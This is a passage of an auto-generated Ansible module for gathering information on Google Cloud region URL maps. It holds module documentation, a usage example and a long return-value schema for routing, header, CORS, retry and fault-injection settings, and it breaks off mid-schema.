] | 12 | 2020-02-21T07:24:52.000Z | 2020-04-14T09:54:32.000Z | venv/lib/python3.6/site-packages/ansible_collections/google/cloud/plugins/modules/gcp_compute_region_url_map_info.py | usegalaxy-no/usegalaxy | 75dad095769fe918eb39677f2c887e681a747f3a | [
"MIT"
] | 1 | 2022-03-01T05:43:07.000Z | 2022-03-01T05:43:07.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2017 Google
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# ----------------------------------------------------------------------------
#
# *** AUTO GENERATED CODE *** AUTO GENERATED CODE ***
#
# ----------------------------------------------------------------------------
#
# This file is automatically generated by Magic Modules and manual
# changes will be clobbered when the file is regenerated.
#
# Please read more about how to change this file at
# https://www.github.com/GoogleCloudPlatform/magic-modules
#
# ----------------------------------------------------------------------------
from __future__ import absolute_import, division, print_function
__metaclass__ = type
################################################################################
# Documentation
################################################################################
ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ["preview"], 'supported_by': 'community'}
DOCUMENTATION = '''
---
module: gcp_compute_region_url_map_info
description:
- Gather info for GCP RegionUrlMap
short_description: Gather info for GCP RegionUrlMap
author: Google Inc. (@googlecloudplatform)
requirements:
- python >= 2.6
- requests >= 2.18.4
- google-auth >= 1.3.0
options:
filters:
description:
- A list of filter value pairs. Available filters are listed here U(https://cloud.google.com/sdk/gcloud/reference/topic/filters).
- Each additional filter in the list will act be added as an AND condition (filter1
and filter2) .
type: list
elements: str
region:
description:
- A reference to the region where the url map resides.
required: true
type: str
project:
description:
- The Google Cloud Platform project to use.
type: str
auth_kind:
description:
- The type of credential used.
type: str
required: true
choices:
- application
- machineaccount
- serviceaccount
service_account_contents:
description:
- The contents of a Service Account JSON file, either in a dictionary or as a
JSON string that represents it.
type: jsonarg
service_account_file:
description:
- The path of a Service Account JSON file if serviceaccount is selected as type.
type: path
service_account_email:
description:
- An optional service account email address if machineaccount is selected and
the user does not wish to use the default email.
type: str
scopes:
description:
- Array of scopes to be used
type: list
elements: str
env_type:
description:
- Specifies which Ansible environment you're running this module within.
- This should not be set unless you know what you're doing.
- This only alters the User Agent string for any API requests.
type: str
notes:
- for authentication, you can set service_account_file using the C(gcp_service_account_file)
env variable.
- for authentication, you can set service_account_contents using the C(GCP_SERVICE_ACCOUNT_CONTENTS)
env variable.
- For authentication, you can set service_account_email using the C(GCP_SERVICE_ACCOUNT_EMAIL)
env variable.
- For authentication, you can set auth_kind using the C(GCP_AUTH_KIND) env variable.
- For authentication, you can set scopes using the C(GCP_SCOPES) env variable.
- Environment variables values will only be used if the playbook values are not set.
- The I(service_account_email) and I(service_account_file) options are mutually exclusive.
'''
EXAMPLES = '''
- name: get info on a region URL map
gcp_compute_region_url_map_info:
region: us-central1
filters:
- name = test_object
project: test_project
auth_kind: serviceaccount
service_account_file: "/tmp/auth.pem"
'''
RETURN = '''
resources:
description: List of resources
returned: always
type: complex
contains:
creationTimestamp:
description:
- Creation timestamp in RFC3339 text format.
returned: success
type: str
defaultService:
description:
- The full or partial URL of the defaultService resource to which traffic is
directed if none of the hostRules match. If defaultRouteAction is additionally
specified, advanced routing actions like URL Rewrites, etc. take effect prior
to sending the request to the backend. However, if defaultService is specified,
defaultRouteAction cannot contain any weightedBackendServices. Conversely,
if routeAction specifies any weightedBackendServices, service must not be
specified. Only one of defaultService, defaultUrlRedirect or defaultRouteAction.weightedBackendService
must be set.
returned: success
type: dict
description:
description:
- An optional description of this resource. Provide this property when you create
the resource.
returned: success
type: str
hostRules:
description:
- The list of HostRules to use against the URL.
returned: success
type: complex
contains:
description:
description:
- An optional description of this HostRule. Provide this property when you
create the resource.
returned: success
type: str
hosts:
description:
- The list of host patterns to match. They must be valid hostnames, except
* will match any string of ([a-z0-9-.]*). In that case, * must be the
first character and must be followed in the pattern by either - or .
returned: success
type: list
pathMatcher:
description:
- The name of the PathMatcher to use to match the path portion of the URL
if the hostRule matches the URL's host portion.
returned: success
type: str
id:
description:
- The unique identifier for the resource.
returned: success
type: int
fingerprint:
description:
- Fingerprint of this resource. This field is used internally during updates
of this resource.
returned: success
type: str
name:
description:
- Name of the resource. Provided by the client when the resource is created.
The name must be 1-63 characters long, and comply with RFC1035. Specifically,
the name must be 1-63 characters long and match the regular expression `[a-z]([-a-z0-9]*[a-z0-9])?`
which means the first character must be a lowercase letter, and all following
characters must be a dash, lowercase letter, or digit, except the last character,
which cannot be a dash.
returned: success
type: str
pathMatchers:
description:
- The list of named PathMatchers to use against the URL.
returned: success
type: complex
contains:
defaultService:
description:
- A reference to a RegionBackendService resource. This will be used if none
of the pathRules defined by this PathMatcher is matched by the URL's path
portion.
returned: success
type: dict
description:
description:
- An optional description of this resource.
returned: success
type: str
name:
description:
- The name to which this PathMatcher is referred by the HostRule.
returned: success
type: str
routeRules:
description:
- 'The list of ordered HTTP route rules. Use this list instead of pathRules
when advanced route matching and routing actions are desired. The order
of specifying routeRules matters: the first rule that matches will cause
its specified routing action to take effect. Within a given pathMatcher,
only one of pathRules or routeRules must be set. routeRules are not supported
in UrlMaps intended for External load balancers.'
returned: success
type: complex
contains:
priority:
description:
- For routeRules within a given pathMatcher, priority determines the
order in which load balancer will interpret routeRules. RouteRules
are evaluated in order of priority, from the lowest to highest number.
The priority of a rule decreases as its number increases (1, 2, 3,
N+1). The first rule that matches the request is applied.
- You cannot configure two or more routeRules with the same priority.
- Priority for each rule must be set to a number between 0 and 2147483647
inclusive.
- Priority numbers can have gaps, which enable you to add or remove
rules in the future without affecting the rest of the rules. For example,
1, 2, 3, 4, 5, 9, 12, 16 is a valid series of priority numbers to
which you could add rules numbered from 6 to 8, 10 to 11, and 13 to
15 in the future without any impact on existing rules.
returned: success
type: int
service:
description:
- The region backend service resource to which traffic is directed if
this rule is matched. If routeAction is additionally specified, advanced
routing actions like URL Rewrites, etc. take effect prior to sending
the request to the backend. However, if service is specified, routeAction
cannot contain any weightedBackendService s. Conversely, if routeAction
specifies any weightedBackendServices, service must not be specified.
Only one of urlRedirect, service or routeAction.weightedBackendService
must be set.
returned: success
type: dict
headerAction:
description:
- Specifies changes to request and response headers that need to take
effect for the selected backendService. The headerAction specified
here are applied before the matching pathMatchers[].headerAction and
after pathMatchers[].routeRules[].r outeAction.weightedBackendService.backendServiceWeightAction[].headerAction
.
returned: success
type: complex
contains:
requestHeadersToAdd:
description:
- Headers to add to a matching request prior to forwarding the request
to the backendService.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that already
exist for the header. If true, headerValue is set for the
header, discarding any values that were set for that header.
returned: success
type: bool
requestHeadersToRemove:
description:
- A list of header names for headers that need to be removed from
the request prior to forwarding the request to the backendService.
returned: success
type: list
responseHeadersToAdd:
description:
- Headers to add the response prior to sending the response back
to the client.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that already
exist for the header. If true, headerValue is set for the
header, discarding any values that were set for that header.
returned: success
type: bool
responseHeadersToRemove:
description:
- A list of header names for headers that need to be removed from
the response prior to sending the response back to the client.
returned: success
type: list
matchRules:
description:
- The rules for determining a match.
returned: success
type: complex
contains:
fullPathMatch:
description:
- For satisfying the matchRule condition, the path of the request
must exactly match the value specified in fullPathMatch after
removing any query parameters and anchor that may be part of the
original URL. FullPathMatch must be between 1 and 1024 characters.
Only one of prefixMatch, fullPathMatch or regexMatch must be specified.
returned: success
type: str
headerMatches:
description:
- Specifies a list of header match criteria, all of which must match
corresponding headers in the request.
returned: success
type: complex
contains:
exactMatch:
description:
- The value should exactly match contents of exactMatch. Only
one of exactMatch, prefixMatch, suffixMatch, regexMatch, presentMatch
or rangeMatch must be set.
returned: success
type: str
headerName:
description:
- The name of the HTTP header to match. For matching against
the HTTP request's authority, use a headerMatch with the header
name ":authority". For matching a request's method, use the
headerName ":method".
returned: success
type: str
invertMatch:
description:
- If set to false, the headerMatch is considered a match if
the match criteria above are met. If set to true, the headerMatch
is considered a match if the match criteria above are NOT
met. Defaults to false.
returned: success
type: bool
prefixMatch:
description:
- The value of the header must start with the contents of prefixMatch.
Only one of exactMatch, prefixMatch, suffixMatch, regexMatch,
presentMatch or rangeMatch must be set.
returned: success
type: str
presentMatch:
description:
- A header with the contents of headerName must exist. The match
takes place whether or not the request's header has a value
or not. Only one of exactMatch, prefixMatch, suffixMatch,
regexMatch, presentMatch or rangeMatch must be set.
returned: success
type: bool
rangeMatch:
description:
- The header value must be an integer and its value must be
in the range specified in rangeMatch. If the header does not
contain an integer, number or is empty, the match fails. For
example for a range [-5, 0] * -3 will match * 0 will not match
* 0.25 will not match * -3someString will not match.
- Only one of exactMatch, prefixMatch, suffixMatch, regexMatch,
presentMatch or rangeMatch must be set.
returned: success
type: complex
contains:
rangeEnd:
description:
- The end of the range (exclusive).
returned: success
type: int
rangeStart:
description:
- The start of the range (inclusive).
returned: success
type: int
regexMatch:
description:
- 'The value of the header must match the regular expression
specified in regexMatch. For regular expression grammar, please
see: en.cppreference.com/w/cpp/regex/ecmascript For matching
against a port specified in the HTTP request, use a headerMatch
with headerName set to PORT and a regular expression that
satisfies the RFC2616 Host header''s port specifier.'
- Only one of exactMatch, prefixMatch, suffixMatch, regexMatch,
presentMatch or rangeMatch must be set.
returned: success
type: str
suffixMatch:
description:
- The value of the header must end with the contents of suffixMatch.
Only one of exactMatch, prefixMatch, suffixMatch, regexMatch,
presentMatch or rangeMatch must be set.
returned: success
type: str
ignoreCase:
description:
- Specifies that prefixMatch and fullPathMatch matches are case
sensitive.
- Defaults to false.
returned: success
type: bool
metadataFilters:
description:
- Opaque filter criteria used by Loadbalancer to restrict routing
configuration to a limited set xDS compliant clients. In their
xDS requests to Loadbalancer, xDS clients present node metadata.
If a match takes place, the relevant routing configuration is
made available to those proxies. For each metadataFilter in this
list, if its filterMatchCriteria is set to MATCH_ANY, at least
one of the filterLabels must match the corresponding label provided
in the metadata. If its filterMatchCriteria is set to MATCH_ALL,
then all of its filterLabels must match with corresponding labels
in the provided metadata. metadataFilters specified here can be
overrides those specified in ForwardingRule that refers to this
UrlMap. metadataFilters only applies to Loadbalancers that have
their loadBalancingScheme set to INTERNAL_SELF_MANAGED.
returned: success
type: complex
contains:
filterLabels:
description:
- The list of label value pairs that must match labels in the
provided metadata based on filterMatchCriteria This list must
not be empty and can have at the most 64 entries.
returned: success
type: complex
contains:
name:
description:
- Name of metadata label. The name can have a maximum length
of 1024 characters and must be at least 1 character long.
returned: success
type: str
value:
description:
- The value of the label must match the specified value.
value can have a maximum length of 1024 characters.
returned: success
type: str
filterMatchCriteria:
description:
- 'Specifies how individual filterLabel matches within the list
of filterLabels contribute towards the overall metadataFilter
match. Supported values are: * MATCH_ANY: At least one of
the filterLabels must have a matching label in the provided
metadata.'
- "* MATCH_ALL: All filterLabels must have matching labels in
the provided metadata."
returned: success
type: str
prefixMatch:
description:
- For satisfying the matchRule condition, the request's path must
begin with the specified prefixMatch. prefixMatch must begin with
a /. The value must be between 1 and 1024 characters. Only one
of prefixMatch, fullPathMatch or regexMatch must be specified.
returned: success
type: str
queryParameterMatches:
description:
- Specifies a list of query parameter match criteria, all of which
must match corresponding query parameters in the request.
returned: success
type: complex
contains:
exactMatch:
description:
- The queryParameterMatch matches if the value of the parameter
exactly matches the contents of exactMatch. Only one of presentMatch,
exactMatch and regexMatch must be set.
returned: success
type: str
name:
description:
- The name of the query parameter to match. The query parameter
must exist in the request, in the absence of which the request
match fails.
returned: success
type: str
presentMatch:
description:
- Specifies that the queryParameterMatch matches if the request
contains the query parameter, irrespective of whether the
parameter has a value or not. Only one of presentMatch, exactMatch
and regexMatch must be set.
returned: success
type: bool
regexMatch:
description:
- The queryParameterMatch matches if the value of the parameter
matches the regular expression specified by regexMatch. For
the regular expression grammar, please see en.cppreference.com/w/cpp/regex/ecmascript
Only one of presentMatch, exactMatch and regexMatch must be
set.
returned: success
type: str
regexMatch:
description:
- For satisfying the matchRule condition, the path of the request
must satisfy the regular expression specified in regexMatch after
removing any query parameters and anchor supplied with the original
URL. For regular expression grammar please see en.cppreference.com/w/cpp/regex/ecmascript
Only one of prefixMatch, fullPathMatch or regexMatch must be specified.
returned: success
type: str
routeAction:
description:
- In response to a matching matchRule, the load balancer performs advanced
routing actions like URL rewrites, header transformations, etc. prior
to forwarding the request to the selected backend. If routeAction
specifies any weightedBackendServices, service must not be set. Conversely
if service is set, routeAction cannot contain any weightedBackendServices.
Only one of routeAction or urlRedirect must be set.
returned: success
type: complex
contains:
corsPolicy:
description:
- The specification for allowing client side cross-origin requests.
Please see W3C Recommendation for Cross Origin Resource Sharing
.
returned: success
type: complex
contains:
allowCredentials:
description:
- In response to a preflight request, setting this to true indicates
that the actual request can include user credentials. This
translates to the Access- Control-Allow-Credentials header.
Defaults to false.
returned: success
type: bool
allowHeaders:
description:
- Specifies the content for the Access-Control-Allow-Headers
header.
returned: success
type: list
allowMethods:
description:
- Specifies the content for the Access-Control-Allow-Methods
header.
returned: success
type: list
allowOriginRegexes:
description:
- Specifies the regular expression patterns that match allowed
origins. For regular expression grammar please see en.cppreference.com/w/cpp/regex/ecmascript
An origin is allowed if it matches either allow_origins or
allow_origin_regex.
returned: success
type: list
allowOrigins:
description:
- Specifies the list of origins that will be allowed to do CORS
requests. An origin is allowed if it matches either allow_origins
or allow_origin_regex.
returned: success
type: list
disabled:
description:
- If true, specifies the CORS policy is disabled.
- which indicates that the CORS policy is in effect. Defaults
to false.
returned: success
type: bool
exposeHeaders:
description:
- Specifies the content for the Access-Control-Expose-Headers
header.
returned: success
type: list
maxAge:
description:
- Specifies how long the results of a preflight request can
be cached. This translates to the content for the Access-Control-Max-Age
header.
returned: success
type: int
faultInjectionPolicy:
description:
- The specification for fault injection introduced into traffic
to test the resiliency of clients to backend service failure.
As part of fault injection, when clients send requests to a backend
service, delays can be introduced by Loadbalancer on a percentage
of requests before sending those request to the backend service.
Similarly requests from clients can be aborted by the Loadbalancer
for a percentage of requests. timeout and retry_policy will be
ignored by clients that are configured with a fault_injection_policy.
returned: success
type: complex
contains:
abort:
description:
- The specification for how client requests are aborted as part
of fault injection.
returned: success
type: complex
contains:
httpStatus:
description:
- The HTTP status code used to abort the request. The value
must be between 200 and 599 inclusive.
returned: success
type: int
percentage:
description:
- The percentage of traffic (connections/operations/requests)
which will be aborted as part of fault injection. The
value must be between 0.0 and 100.0 inclusive.
returned: success
type: str
delay:
description:
- The specification for how client requests are delayed as part
of fault injection, before being sent to a backend service.
returned: success
type: complex
contains:
fixedDelay:
description:
- Specifies the value of the fixed delay interval.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond
resolution. Durations less than one second are represented
with a 0 `seconds` field and a positive `nanos` field.
Must be from 0 to 999,999,999 inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be
from 0 to 315,576,000,000 inclusive.
returned: success
type: str
percentage:
description:
- The percentage of traffic (connections/operations/requests)
on which delay will be introduced as part of fault injection.
The value must be between 0.0 and 100.0 inclusive.
returned: success
type: str
requestMirrorPolicy:
description:
- Specifies the policy on how requests intended for the route's
backends are shadowed to a separate mirrored backend service.
Loadbalancer does not wait for responses from the shadow service.
Prior to sending traffic to the shadow service, the host / authority
header is suffixed with -shadow.
returned: success
type: complex
contains:
backendService:
description:
- The RegionBackendService resource being mirrored to.
returned: success
type: dict
retryPolicy:
description:
- Specifies the retry policy associated with this route.
returned: success
type: complex
contains:
numRetries:
description:
- Specifies the allowed number retries. This number must be
> 0.
returned: success
type: int
perTryTimeout:
description:
- Specifies a non-zero timeout per retry attempt.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond
resolution. Durations less than one second are represented
with a 0 `seconds` field and a positive `nanos` field.
Must be from 0 to 999,999,999 inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be from
0 to 315,576,000,000 inclusive.
returned: success
type: str
retryConditions:
description:
- 'Specifies one or more conditions when this retry rule applies.
Valid values are: * 5xx: Loadbalancer will attempt a retry
if the backend service responds with any 5xx response code,
or if the backend service does not respond at all, example:
disconnects, reset, read timeout, connection failure, and
refused streams.'
- "* gateway-error: Similar to 5xx, but only applies to response
codes 502, 503 or 504."
- "* connect-failure: Loadbalancer will retry on failures connecting
to backend services, for example due to connection timeouts."
- "* retriable-4xx: Loadbalancer will retry for retriable 4xx
response codes."
- Currently the only retriable error supported is 409.
- "* refused-stream: Loadbalancer will retry if the backend
service resets the stream with a REFUSED_STREAM error code.
This reset type indicates that it is safe to retry."
- "* cancelled: Loadbalancer will retry if the gRPC status code
in the response header is set to cancelled * deadline-exceeded:
Loadbalancer will retry if the gRPC status code in the response
header is set to deadline-exceeded * resource-exhausted: Loadbalancer
will retry if the gRPC status code in the response header
is set to resource-exhausted * unavailable: Loadbalancer will
retry if the gRPC status code in the response header is set
to unavailable ."
returned: success
type: list
timeout:
description:
- Specifies the timeout for the selected route. Timeout is computed
from the time the request is has been fully processed (i.e. end-of-stream)
up until the response has been completely processed. Timeout includes
all retries. If not specified, the default value is 15 seconds.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond resolution.
Durations less than one second are represented with a 0 `seconds`
field and a positive `nanos` field. Must be from 0 to 999,999,999
inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be from 0 to
315,576,000,000 inclusive.
returned: success
type: str
urlRewrite:
description:
- The spec to modify the URL of the request, prior to forwarding
the request to the matched service .
returned: success
type: complex
contains:
hostRewrite:
description:
- Prior to forwarding the request to the selected service, the
request's host header is replaced with contents of hostRewrite.
The value must be between 1 and 255 characters.
returned: success
type: str
pathPrefixRewrite:
description:
- Prior to forwarding the request to the selected backend service,
the matching portion of the request's path is replaced by
pathPrefixRewrite. The value must be between 1 and 1024 characters.
returned: success
type: str
weightedBackendServices:
description:
- A list of weighted backend services to send traffic to when a
route match occurs. The weights determine the fraction of traffic
that flows to their corresponding backend service. If all traffic
needs to go to a single backend service, there must be one weightedBackendService
with weight set to a non 0 number. Once a backendService is identified
and before forwarding the request to the backend service, advanced
routing actions like Url rewrites and header transformations are
applied depending on additional settings specified in this HttpRouteAction.
returned: success
type: complex
contains:
backendService:
description:
- The default RegionBackendService resource. Before forwarding
the request to backendService, the loadbalancer applies any
relevant headerActions specified as part of this backendServiceWeight.
returned: success
type: dict
headerAction:
description:
- Specifies changes to request and response headers that need
to take effect for the selected backendService. headerAction
specified here take effect before headerAction in the enclosing
HttpRouteRule, PathMatcher and UrlMap.
returned: success
type: complex
contains:
requestHeadersToAdd:
description:
- Headers to add to a matching request prior to forwarding
the request to the backendService.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that
already exist for the header. If true, headerValue
is set for the header, discarding any values that
were set for that header.
returned: success
type: bool
requestHeadersToRemove:
description:
- A list of header names for headers that need to be removed
from the request prior to forwarding the request to the
backendService.
returned: success
type: list
responseHeadersToAdd:
description:
- Headers to add the response prior to sending the response
back to the client.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that
already exist for the header. If true, headerValue
is set for the header, discarding any values that
were set for that header.
returned: success
type: bool
responseHeadersToRemove:
description:
- A list of header names for headers that need to be removed
from the response prior to sending the response back to
the client.
returned: success
type: list
weight:
description:
- Specifies the fraction of traffic sent to backendService,
computed as weight / (sum of all weightedBackendService weights
in routeAction) . The selection of a backend service is determined
only for new traffic. Once a user's request has been directed
to a backendService, subsequent requests will be sent to the
same backendService as determined by the BackendService's
session affinity policy.
- The value must be between 0 and 1000 .
returned: success
type: int
urlRedirect:
description:
- When this rule is matched, the request is redirected to a URL specified
by urlRedirect. If urlRedirect is specified, service or routeAction
must not be set.
returned: success
type: complex
contains:
hostRedirect:
description:
- The host that will be used in the redirect response instead of
the one that was supplied in the request. The value must be between
1 and 255 characters.
returned: success
type: str
httpsRedirect:
description:
- If set to true, the URL scheme in the redirected request is set
to https.
- If set to false, the URL scheme of the redirected request will
remain the same as that of the request. This must only be set
for UrlMaps used in TargetHttpProxys. Setting this true for TargetHttpsProxy
is not permitted. The default is set to false.
returned: success
type: bool
pathRedirect:
description:
- The path that will be used in the redirect response instead of
the one that was supplied in the request. pathRedirect cannot
be supplied together with prefixRedirect. Supply one alone or
neither. If neither is supplied, the path of the original request
will be used for the redirect.
- The value must be between 1 and 1024 characters.
returned: success
type: str
prefixRedirect:
description:
- The prefix that replaces the prefixMatch specified in the HttpRouteRuleMatch,
retaining the remaining portion of the URL before redirecting
the request. prefixRedirect cannot be supplied together with pathRedirect.
Supply one alone or neither. If neither is supplied, the path
of the original request will be used for the redirect. The value
must be between 1 and 1024 characters.
returned: success
type: str
redirectResponseCode:
description:
- 'The HTTP Status code to use for this RedirectAction. Supported
values are: * MOVED_PERMANENTLY_DEFAULT, which is the default
value and corresponds to 301.'
- "* FOUND, which corresponds to 302."
- "* SEE_OTHER which corresponds to 303."
- "* TEMPORARY_REDIRECT, which corresponds to 307. In this case,
the request method will be retained."
- "* PERMANENT_REDIRECT, which corresponds to 308. In this case,
the request method will be retained."
returned: success
type: str
stripQuery:
description:
- If set to true, any accompanying query portion of the original
URL is removed prior to redirecting the request. If set to false,
the query portion of the original URL is retained. The default
value is false.
returned: success
type: bool
pathRules:
description:
- 'The list of path rules. Use this list instead of routeRules when routing
based on simple path matching is all that''s required. The order by which
path rules are specified does not matter. Matches are always done on the
longest-path-first basis. For example: a pathRule with a path /a/b/c/*
will match before /a/b/* irrespective of the order in which those paths
appear in this list. Within a given pathMatcher, only one of pathRules
or routeRules must be set.'
returned: success
type: complex
contains:
service:
description:
- The region backend service resource to which traffic is directed if
this rule is matched. If routeAction is additionally specified, advanced
routing actions like URL Rewrites, etc. take effect prior to sending
the request to the backend. However, if service is specified, routeAction
cannot contain any weightedBackendService s. Conversely, if routeAction
specifies any weightedBackendServices, service must not be specified.
Only one of urlRedirect, service or routeAction.weightedBackendService
must be set.
returned: success
type: dict
paths:
description:
- 'The list of path patterns to match. Each must start with / and the
only place a * is allowed is at the end following a /. The string
fed to the path matcher does not include any text after the first
? or #, and those chars are not allowed here.'
returned: success
type: list
routeAction:
description:
- In response to a matching path, the load balancer performs advanced
routing actions like URL rewrites, header transformations, etc. prior
to forwarding the request to the selected backend. If routeAction
specifies any weightedBackendServices, service must not be set. Conversely
if service is set, routeAction cannot contain any weightedBackendServices.
Only one of routeAction or urlRedirect must be set.
returned: success
type: complex
contains:
corsPolicy:
description:
- The specification for allowing client side cross-origin requests.
Please see W3C Recommendation for Cross Origin Resource Sharing
.
returned: success
type: complex
contains:
allowCredentials:
description:
- In response to a preflight request, setting this to true indicates
that the actual request can include user credentials. This
translates to the Access- Control-Allow-Credentials header.
Defaults to false.
returned: success
type: bool
allowHeaders:
description:
- Specifies the content for the Access-Control-Allow-Headers
header.
returned: success
type: list
allowMethods:
description:
- Specifies the content for the Access-Control-Allow-Methods
header.
returned: success
type: list
allowOriginRegexes:
description:
- Specifies the regular expression patterns that match allowed
origins. For regular expression grammar please see en.cppreference.com/w/cpp/regex/ecmascript
An origin is allowed if it matches either allow_origins or
allow_origin_regex.
returned: success
type: list
allowOrigins:
description:
- Specifies the list of origins that will be allowed to do CORS
requests. An origin is allowed if it matches either allow_origins
or allow_origin_regex.
returned: success
type: list
disabled:
description:
- If true, specifies the CORS policy is disabled.
returned: success
type: bool
exposeHeaders:
description:
- Specifies the content for the Access-Control-Expose-Headers
header.
returned: success
type: list
maxAge:
description:
- Specifies how long the results of a preflight request can
be cached. This translates to the content for the Access-Control-Max-Age
header.
returned: success
type: int
faultInjectionPolicy:
description:
- The specification for fault injection introduced into traffic
to test the resiliency of clients to backend service failure.
As part of fault injection, when clients send requests to a backend
service, delays can be introduced by Loadbalancer on a percentage
of requests before sending those request to the backend service.
Similarly requests from clients can be aborted by the Loadbalancer
for a percentage of requests. timeout and retry_policy will be
ignored by clients that are configured with a fault_injection_policy.
returned: success
type: complex
contains:
abort:
description:
- The specification for how client requests are aborted as part
of fault injection.
returned: success
type: complex
contains:
httpStatus:
description:
- The HTTP status code used to abort the request. The value
must be between 200 and 599 inclusive.
returned: success
type: int
percentage:
description:
- The percentage of traffic (connections/operations/requests)
which will be aborted as part of fault injection. The
value must be between 0.0 and 100.0 inclusive.
returned: success
type: str
delay:
description:
- The specification for how client requests are delayed as part
of fault injection, before being sent to a backend service.
returned: success
type: complex
contains:
fixedDelay:
description:
- Specifies the value of the fixed delay interval.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond
resolution. Durations less than one second are represented
with a 0 `seconds` field and a positive `nanos` field.
Must be from 0 to 999,999,999 inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be
from 0 to 315,576,000,000 inclusive.
returned: success
type: str
percentage:
description:
- The percentage of traffic (connections/operations/requests)
on which delay will be introduced as part of fault injection.
The value must be between 0.0 and 100.0 inclusive.
returned: success
type: str
requestMirrorPolicy:
description:
- Specifies the policy on how requests intended for the route's
backends are shadowed to a separate mirrored backend service.
Loadbalancer does not wait for responses from the shadow service.
Prior to sending traffic to the shadow service, the host / authority
header is suffixed with -shadow.
returned: success
type: complex
contains:
backendService:
description:
- The RegionBackendService resource being mirrored to.
returned: success
type: dict
retryPolicy:
description:
- Specifies the retry policy associated with this route.
returned: success
type: complex
contains:
numRetries:
description:
- Specifies the allowed number retries. This number must be
> 0.
returned: success
type: int
perTryTimeout:
description:
- Specifies a non-zero timeout per retry attempt.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond
resolution. Durations less than one second are represented
with a 0 `seconds` field and a positive `nanos` field.
Must be from 0 to 999,999,999 inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be from
0 to 315,576,000,000 inclusive.
returned: success
type: str
retryConditions:
description:
- 'Specifies one or more conditions when this retry rule applies.
Valid values are: - 5xx: Loadbalancer will attempt a retry
if the backend service responds with any 5xx response code,
or if the backend service does not respond at all, example:
disconnects, reset, read timeout, connection failure, and
refused streams.'
- "- gateway-error: Similar to 5xx, but only applies to response
codes 502, 503 or 504."
- "- connect-failure: Loadbalancer will retry on failures connecting
to backend services, for example due to connection timeouts."
- "- retriable-4xx: Loadbalancer will retry for retriable 4xx
response codes."
- Currently the only retriable error supported is 409.
- "- refused-stream: Loadbalancer will retry if the backend
service resets the stream with a REFUSED_STREAM error code.
This reset type indicates that it is safe to retry."
- "- cancelled: Loadbalancer will retry if the gRPC status code
in the response header is set to cancelled - deadline-exceeded:
Loadbalancer will retry if the gRPC status code in the response
header is set to deadline-exceeded - resource-exhausted: Loadbalancer
will retry if the gRPC status code in the response header
is set to resource-exhausted - unavailable: Loadbalancer will
retry if the gRPC status code in the response header is set
to unavailable ."
returned: success
type: list
timeout:
description:
- Specifies the timeout for the selected route. Timeout is computed
from the time the request is has been fully processed (i.e. end-of-stream)
up until the response has been completely processed. Timeout includes
all retries. If not specified, the default value is 15 seconds.
returned: success
type: complex
contains:
nanos:
description:
- Span of time that's a fraction of a second at nanosecond resolution.
Durations less than one second are represented with a 0 `seconds`
field and a positive `nanos` field. Must be from 0 to 999,999,999
inclusive.
returned: success
type: int
seconds:
description:
- Span of time at a resolution of a second. Must be from 0 to
315,576,000,000 inclusive.
returned: success
type: str
urlRewrite:
description:
- The spec to modify the URL of the request, prior to forwarding
the request to the matched service .
returned: success
type: complex
contains:
hostRewrite:
description:
- Prior to forwarding the request to the selected service, the
request's host header is replaced with contents of hostRewrite.
The value must be between 1 and 255 characters.
returned: success
type: str
pathPrefixRewrite:
description:
- Prior to forwarding the request to the selected backend service,
the matching portion of the request's path is replaced by
pathPrefixRewrite. The value must be between 1 and 1024 characters.
returned: success
type: str
weightedBackendServices:
description:
- A list of weighted backend services to send traffic to when a
route match occurs. The weights determine the fraction of traffic
that flows to their corresponding backend service. If all traffic
needs to go to a single backend service, there must be one weightedBackendService
with weight set to a non 0 number. Once a backendService is identified
and before forwarding the request to the backend service, advanced
routing actions like Url rewrites and header transformations are
applied depending on additional settings specified in this HttpRouteAction.
returned: success
type: complex
contains:
backendService:
description:
- The default RegionBackendService resource. Before forwarding
the request to backendService, the loadbalancer applies any
relevant headerActions specified as part of this backendServiceWeight.
returned: success
type: dict
headerAction:
description:
- Specifies changes to request and response headers that need
to take effect for the selected backendService. headerAction
specified here take effect before headerAction in the enclosing
HttpRouteRule, PathMatcher and UrlMap.
returned: success
type: complex
contains:
requestHeadersToAdd:
description:
- Headers to add to a matching request prior to forwarding
the request to the backendService.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that
already exist for the header. If true, headerValue
is set for the header, discarding any values that
were set for that header.
returned: success
type: bool
requestHeadersToRemove:
description:
- A list of header names for headers that need to be removed
from the request prior to forwarding the request to the
backendService.
returned: success
type: list
responseHeadersToAdd:
description:
- Headers to add the response prior to sending the response
back to the client.
returned: success
type: complex
contains:
headerName:
description:
- The name of the header.
returned: success
type: str
headerValue:
description:
- The value of the header to add.
returned: success
type: str
replace:
description:
- If false, headerValue is appended to any values that
already exist for the header. If true, headerValue
is set for the header, discarding any values that
were set for that header.
returned: success
type: bool
responseHeadersToRemove:
description:
